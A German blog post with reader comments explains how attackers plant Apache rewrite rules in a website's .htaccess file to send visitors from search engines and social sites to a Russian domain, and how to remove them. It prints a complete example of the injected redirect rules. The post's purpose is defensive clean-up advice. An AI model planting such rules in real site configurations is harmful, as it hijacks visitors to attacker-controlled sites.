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Angreifer infizieren htaccess-Datei mit Rewrite-Rules!

Leider passiert es immer öfter, dass Angreifer eine Webseite mir Rewrite-Rules infizieren.

Symptom:
Wenn Sie ein Suchergebnis ihrer Webseite in einer Suchmaschine wie z.B. Google anklicken werden Sie auf eine andere Webseite (meist *.ru) weitergeleitet. Gleiches gilt für Links aus Twitter, MySpace uvm…

Ursache:
Ein Eindringling hat die htaccess-Datei in ihrem Webverzeichnis mit Rewrite-Rules infiziert.

Beispiel der infizierten htaccess-Datei:

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://zieladresse .ru/targetfile/index.php [R=301,L]

Die oben genannten Einträge sind Beispiele für eine infizierte htaccess-Datei, bei ihnen können die Angreifer auch andere/mehr Einträge (Rewrite-Rules) hinterlassen haben.

Unter “RewriteCond” wird ermittelt woher Sie kommen – z.B. Google – und unter “RewriteRule” wird die Zieladresse auf die Sie weitergeleitet werden definiert.

Rewrite-Rules aus der infizierten htaccess-Datei entfernen

Lösung:
Führen Sie einen lokalen Virenscan mit aktuellen Virensignaturen auf Ihrem PC durch.

Ändern Sie ihr FTP-Passwort.

Löschen Sie alle Einträge des Angreifers aus der infizierten htaccess-Datei. Falls Sie keine htaccess-Datei für ihre Webseite benötigen, dann löschen Sie diese komplett!

Falls Sie ein CMS wie WordPress, Joomla, Drupal o.ä. verwenden, erstellen Sie die htaccess-Datei am besten neu oder spielen Sie diese aus einem Backup zurück.

Schreibrechte für htaccess-Datei auf “nur lesen” setzen = “444″.
Bei Verwendung eines CMS darauf achten, dass ihr CMS-System die htaccess-Datei dann aber auch nur noch lesen, aber nicht mehr ändern kann. Änderungen müssen in Zukunft also manuell durchgeführt werden.

Desweiteren ist es sinnvoll gerade bei der Verwendug von CMS-Systemen die Security-Hinweise der verwendeten Plugins zu beachten – oftmals ist hier die Sicherheitslücke zufinden, die die Angreifer benutzt haben um die htaccess-Datei mit Rewrite-Rules zu infizieren.

Wie immer gilt:
- Die Webseite (CMS-System) immer mit aktuellen Sicherheits-Updates/Patches versehen.
- Regelmäßige Backups anfertigen.

Bis neulich,
Frieder Morneweg

webStimme.de

6 Comments

  1. genervter webmaster sagt:

    super tipp! habe die einträge aus htaccess datei gelöscht und alles funktiniert wieder perfekt! danke

  2. Joomla Seite gehackt sagt:

    …hat bei mir auch geholfen!

    Leider kann ich die rechte der htaccess-Datei nicht auf “444″ setzen, da ich per SEO-Tool meine Urls sauber umleite… Hast du zu Joomla und Suchmaschinen-freundlichen Urls einen Tipp? Wäre klasse!

    Dirk

    1. Hallo Dirk,

      versuche es mal die Rechte der htaccess-Datei per FTP-Programm auf “644″ zu setzen.

      Sollte funktionieren – zumindest bei OpenSEF ;-) !

      MfG
      Frieder

      1. Dirk sagt:

        Hey Danke! Dein Tipp mit htaccess und Joomla funktioniert perfekt!

        Ja nutze OpenSEF, sorry hatte das zuvor vergessen zu erwähnen.

        Dirk

  3. cyberjam sagt:

    danke für die info! bei mir war das loch in einer ungepatchen joomla installation! wie ich das hasse! werde wohl das cms wechseln – danke

    1. Uwe Zettl sagt:

      Also das kann dir bei jedem CMS passieren, nicht nur bei Joomla. Allerdings haben es Hacker natürlich vermehrt auf die beliebtesten CMS-Systeme abgesehen.

      Wie Frieder schon schreibt, musst du so schnell wie nur möglich nach der Veröffentlichung von neuen Security-Patches diese auch einspielen.

      Gleiches gilt auch für Plugins. Bei mir wurde durch ein fehlerhaftes Plugin meine WordPress-Installation gehackt. Naja aus erfahrung lernt man – jetzt lege ich regelmäßig eine Sicherung meiner Webseite an :-)

      Gruß Uwe